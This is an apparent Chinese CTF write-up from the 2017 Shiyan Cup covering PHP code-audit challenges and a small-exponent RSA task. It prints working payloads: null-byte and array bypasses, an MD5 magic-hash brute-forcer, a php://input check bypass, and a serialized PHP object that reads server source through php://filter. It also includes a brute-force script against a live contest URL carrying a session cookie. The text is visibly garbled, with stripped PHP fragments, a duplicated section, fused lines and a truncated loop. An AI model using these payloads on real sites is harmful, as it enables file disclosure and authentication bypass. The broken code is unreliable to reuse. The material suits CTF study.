【Writeup】2017.10.8|【Writeup】2017.10.8 世安杯（部分）
0x01 ctf入门级题目
这道题是个代码审计题，给了php的代码
';
else if (strpos ($_GET['password'], '--') !== FALSE)
die($flag);
else
echo 'Invalid password
';
}
?>View Source
0x01 ctf入门级题目
这道题是个代码审计题，给了php的代码
';
else if (strpos ($_GET['password'], '--') !== FALSE)
die($flag);
else
echo 'Invalid password
';
}
?>View Source?password=a%00--
?password[]=a
2017)?$b=1:NULL;
}
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}
if($a && $b && $c && $d){
include "flag.php";
echo $flag;
}
?>
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}
import hashlib
for i in xrange(1000000):
s = 'XIPU' + str(i)
mymd5 = hashlib.md5()
mymd5.update(s)
mymd5 = mymd5.hexdigest()
x3 = 1
if mymd5[8:10] == '0e':
for j in mymd5[10:24]:
if j.isalpha():
x3 = 0
break
if x3== 1:
print s
break
?x1=0&x2={"x21":"2018asd","x22":[[0],0]}&x3=XIPU18570
#-*- coding:utf-8 -*-
import requests
import res = requests.Session()
dic = "0123456789"
url="http://ctf1.shiyanbar.com/shian-s/"
header = {'User-Agent':"Mozilla/5.0 (Windows NT 10.0;
Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"}
Cookie = {"Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3":"1500552075,1500882902","Hm_cv_34d6f7353ab0915a4c582e4516dffbc3":"1*visitor*87436%2CnickName%3AHDL_","PHPSESSID":"8nb06b20pn2gjl6ssujb1q0u04"}for a in dic:
for b in dic:
for c in dic:
for d in dic:
for e in dic:
html =s.get(url,headers=header, cookies=Cookie).content
pattern = re.compile('
(.*?)
.*?$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!
";
include($file);
//class.php
}else{
echo "you are not admin ! ";
}?user=php://input
post:the user is admin
file)){
echo file_get_contents($this->file);
return "__toString was called!";
}
?>
?user=php://input&filelass.php&pass=O:4:"Read":1:{s:4:"file";
s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";
}
post:the user is admin
c= 2044619806634581710230401748541393297937319
n= 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143import libnum
for e in range(2,10):
m = libnum.nroot(c,e)
if m**e==c:
breakprint "e:",e
print "m:",m
flag = libnum.n2s(m)
print flag
